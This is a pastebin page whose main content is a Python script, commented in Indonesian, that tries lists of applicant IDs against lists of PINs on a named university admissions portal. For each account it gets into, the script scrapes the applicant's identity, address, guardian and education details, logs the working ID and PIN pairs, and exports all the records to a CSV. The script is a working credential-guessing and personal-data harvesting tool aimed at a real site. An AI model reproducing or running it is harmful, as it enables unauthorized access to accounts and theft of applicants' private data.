Sign up
Login
New paste
Home
Trending
Archive
English
English
Sign up
Login
New Paste
Browse
import requests from bs4 import BeautifulSoup import argparse import json import csv # Import modul csv untuk penulisan file CSV def validate_login_and_extract_data(base_domain, login_path, id_pendaftar, pin, target_pages): """ Melakukan proses login ke website PMB Hang Tuah, kemudian menavigasi ke halaman-halaman yang ditentukan untuk mengambil data. Mengembalikan dictionary data gabungan yang diekstrak jika berhasil, None jika gagal. Args: base_domain (str): Domain dasar website (e.g., "https://pmb.hangtuah.ac.id"). login_path (str): Path ke halaman login (e.g., "/login"). id_pendaftar (str): ID Pendaftar untuk login. pin (str): PIN untuk login. target_pages (dict): Dictionary berisi nama halaman (key) dan path relatif (value) yang ingin diambil datanya (e.g., {'Identitas': '/biodata/identitas'}). Returns: dict or None: Dictionary berisi data gabungan yang diekstrak jika berhasil, None jika gagal. """ session = requests.Session() login_url = f"{base_domain}{login_path}" print(f"Mencoba login untuk ID: {id_pendaftar} dengan PIN: {pin}") print(f"DEBUG: Base Domain yang digunakan: {base_domain}") try: # Step 1: Lakukan GET request awal ke halaman login untuk mendapatkan _token response_initial = session.get(login_url) if response_initial.status_code != 200: print(f"Gagal melakukan request awal ke {login_url} untuk ID: {id_pendaftar}. Status: {response_initial.status_code}") return None soup = BeautifulSoup(response_initial.text, 'html.parser') token_input = soup.find('input', {'name': '_token'}) token = token_input['value'] if token_input else None if not token: print(f"Token CSRF tidak ditemukan di halaman login untuk ID: {id_pendaftar}.") return None # Step 2: Siapkan data untuk POST request login data_login = { "idpendaftar": id_pendaftar, "pin": pin, "act": "login", "_token": token } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Language': 'en-US,en;q=0.9', 'Referer': login_url, } # Step 3: Lakukan POST request login response_login = session.post(login_url, data=data_login, headers=headers, allow_redirects=False) # Periksa apakah login berhasil (kode status 302 dan header Location) if response_login.status_code == 302 and "Location" in response_login.headers: location = response_login.headers["Location"] # Daftar path yang valid setelah login berhasil valid_redirect_paths = [ "/biodata", "/administrasi", "/nilai-rapor", "/finalisasi", "/pembayaran", "/seleksi", "/hasil-seleksi", "/daftar-ulang" ] if any(path in location for path in valid_redirect_paths): print(f"Login berhasil, dialihkan ke: {location}") # Step 4: Ikuti pengalihan awal untuk memperbarui cookie sesi redirect_full_url = f"{base_domain}{location}" session.get(redirect_full_url) # Step 5: Iterasi dan ambil data dari setiap halaman target all_extracted_data = {} for page_name, relative_path in target_pages.items(): current_page_url = f"{base_domain.rstrip('/')}{relative_path}" print(f"DEBUG: Mengambil data dari halaman: {page_name} ({current_page_url})") response_page = session.get(current_page_url) if response_page.status_code == 200: soup_page = BeautifulSoup(response_page.text, 'html.parser') page_data = {} # Strategi 1: Cari pasangan label dan nilai dalam struktur div.form-group form_groups = soup_page.find_all('div', class_='form-group') for group in form_groups: label_tag = group.find('label') value_tag = group.find('div', class_='form-control-static') if label_tag and value_tag: label_text = label_tag.get_text(strip=True) value_text = value_tag.get_text(strip=True) page_data[label_text] = value_text # Strategi 2: Jika Strategi 1 tidak menghasilkan banyak data, # coba cari dalam struktur tabel (th dan td). if not page_data: tables = soup_page.find_all('table') for table in tables: rows = table.find_all('tr') for row in rows: header = row.find('th') data = row.find('td') if header and data: page_data[header.get_text(strip=True)] = data.get_text(strip=True) # Tambahkan prefiks nama halaman ke setiap kunci dan gabungkan for key, value in page_data.items(): all_extracted_data[f"{page_name}_{key}"] = value print(f"Data berhasil ditemukan di halaman {page_name}.") else: print(f"Peringatan: Gagal mengakses halaman {page_name} untuk ID {id_pendaftar}. Status: {response_page.status_code}") if all_extracted_data: return all_extracted_data else: print(f"Tidak ada data yang ditemukan dari halaman manapun untuk ID {id_pendaftar}.") return None else: print(f"Pengalihan tidak valid setelah login untuk ID {id_pendaftar}. Lokasi: {location}") return None else: print(f"Login gagal untuk ID {id_pendaftar}. Status: {response_login.status_code}") return None except requests.exceptions.RequestException as e: print(f"Terjadi kesalahan koneksi untuk ID {id_pendaftar}: {e}") return None except Exception as e: print(f"Terjadi kesalahan tak terduga untuk ID {id_pendaftar}: {e}") return None def process_logins(base_domain, ids_pendaftar, pins, berhasil_file, gagal_file, output_csv_file): """ Mengiterasi melalui daftar ID pendaftar dan PIN untuk melakukan proses login dan pengambilan data dari berbagai halaman, kemudian menyimpannya ke file CSV. """ login_path = "/login" # Definisi halaman-halaman yang ingin diambil datanya target_pages = { 'Identitas': '/biodata/identitas', 'Domisili': '/biodata/domisili', 'DataWali': '/biodata/datawali', 'Pendidikan': '/biodata/pendidikan', 'PilihanProdi': '/biodata/pilihanprodi' } all_successful_data = [] # List untuk menyimpan semua dictionary data yang berhasil # Fase 1: Mencoba login dan mengumpulkan data yang berhasil for id_pendaftar in ids_pendaftar: print(f"\n--- Memproses ID Pendaftar: {id_pendaftar} ---") found_match = False for pin in pins: extracted_data = validate_login_and_extract_data(base_domain, login_path, id_pendaftar, pin, target_pages) if extracted_data: # Tambahkan ID Pendaftar dan PIN ke dictionary data extracted_data['ID Pendaftar'] = id_pendaftar extracted_data['PIN'] = pin all_successful_data.append(extracted_data) # Tulis ke file berhasil.txt with open(berhasil_file, "a", encoding="utf-8") as file: file.write(f"{id_pendaftar} : {pin}\n") print(f"Login berhasil dan data diambil dari semua halaman untuk ID: {id_pendaftar} dengan PIN: {pin}") found_match = True break # Hentikan mencoba PIN lain jika sudah berhasil untuk ID ini if not found_match: # Tulis ke file gagal.txt jika tidak ada PIN yang cocok print(f"Login gagal untuk ID Pendaftar: {id_pendaftar}. Tidak ada PIN yang cocok atau data tidak dapat diambil.") with open(gagal_file, "a", encoding="utf-8") as file: file.write(f"{id_pendaftar} : Tidak ada PIN yang cocok atau pengambilan data gagal\n") # Fase 2: Menulis data yang berhasil ke file CSV if not all_successful_data: print("Tidak ada data yang berhasil diambil untuk ditulis ke CSV.") return # Kumpulkan semua nama kolom unik (headers) dari semua data yang berhasil # Pastikan 'ID Pendaftar' dan 'PIN' ada di awal fieldnames = ['ID Pendaftar', 'PIN'] unique_keys_from_data = set() for data_row in all_successful_data: for key in data_row.keys(): if key not in ['ID Pendaftar', 'PIN']: # Hindari duplikasi unique_keys_from_data.add(key) # Urutkan kunci-kunci unik secara alfabetis untuk konsistensi, lalu tambahkan sorted_unique_keys = sorted(list(unique_keys_from_data)) fieldnames.extend(sorted_unique_keys) # Tulis data ke file CSV try: with open(output_csv_file, 'w', newline='', encoding='utf-8') as csvfile: csv_writer = csv.DictWriter(csvfile, fieldnames=fieldnames) csv_writer.writeheader() # Tulis baris header csv_writer.writerows(all_successful_data) # Tulis semua baris data print(f"Data berhasil disimpan ke {output_csv_file} dalam format CSV.") except Exception as e: print(f"Gagal menulis data ke file CSV {output_csv_file}: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='Proses login dan pengambilan data dari PMB Hang Tuah.') parser.add_argument('base_domain', help='URL dasar website (contoh: https://pmb.hangtuah.ac.id, JANGAN SERTAKAN /login)') parser.add_argument('--ids', nargs='+', required=True, help='Daftar ID pendaftar untuk login (pisahkan dengan spasi)') parser.add_argument('--pins', nargs='+', required=True, help='Daftar PIN untuk dicoba (pisahkan dengan spasi)') parser.add_argument('--berhasil', default='berhasil.txt', help='File untuk menyimpan ID dan PIN yang berhasil login') parser.add_argument('--gagal', default='gagal.txt', help='File untuk menyimpan ID yang gagal login') parser.add_argument('--output', default='data_lengkap_pendaftar.csv', help='File untuk menyimpan data yang diambil dari semua halaman dalam format CSV') args = parser.parse_args() process_logins(args.base_domain, args.ids, args.pins, args.berhasil, args.gagal, args.output)
Paste Settings
Paste Title :
[Optional]
Paste Folder :
[Optional]
Select
Syntax Highlighting :
[Optional]
Select
Markup
CSS
JavaScript
Bash
C
C#
C++
Java
JSON
Lua
Plaintext
C-like
ABAP
ActionScript
Ada
Apache Configuration
APL
AppleScript
Arduino
ARFF
AsciiDoc
6502 Assembly
ASP.NET (C#)
AutoHotKey
AutoIt
Basic
Batch
Bison
Brainfuck
Bro
CoffeeScript
Clojure
Crystal
Content-Security-Policy
CSS Extras
D
Dart
Diff
Django/Jinja2
Docker
Eiffel
Elixir
Elm
ERB
Erlang
F#
Flow
Fortran
GEDCOM
Gherkin
Git
GLSL
GameMaker Language
Go
GraphQL
Groovy
Haml
Handlebars
Haskell
Haxe
HTTP
HTTP Public-Key-Pins
HTTP Strict-Transport-Security
IchigoJam
Icon
Inform 7
INI
IO
J
Jolie
Julia
Keyman
Kotlin
LaTeX
Less
Liquid
Lisp
LiveScript
LOLCODE
Makefile
Markdown
Markup templating
MATLAB
MEL
Mizar
Monkey
N4JS
NASM
nginx
Nim
Nix
NSIS
Objective-C
OCaml
OpenCL
Oz
PARI/GP
Parser
Pascal
Perl
PHP
PHP Extras
PL/SQL
PowerShell
Processing
Prolog
.properties
Protocol Buffers
Pug
Puppet
Pure
Python
Q (kdb+ database)
Qore
R
React JSX
React TSX
Ren'py
Reason
reST (reStructuredText)
Rip
Roboconf
Ruby
Rust
SAS
Sass (Sass)
Sass (Scss)
Scala
Scheme
Smalltalk
Smarty
SQL
Soy (Closure Template)
Stylus
Swift
TAP
Tcl
Textile
Template Toolkit 2
Twig
TypeScript
VB.Net
Velocity
Verilog
VHDL
vim
Visual Basic
WebAssembly
Wiki markup
Xeora
Xojo (REALbasic)
XQuery
YAML
HTML
Paste Expiration :
[Optional]
Never
Self Destroy
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Status :
[Optional]
Public
Unlisted
Private (members only)
Password :
[Optional]
Description:
[Optional]
Tags:
[Optional]
Encrypt Paste
(
?
)
Create New Paste
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Site Languages
×
English
Do you like cookies?
🍪 We use cookies to ensure you get the best experience on our website.
Learn more
I agree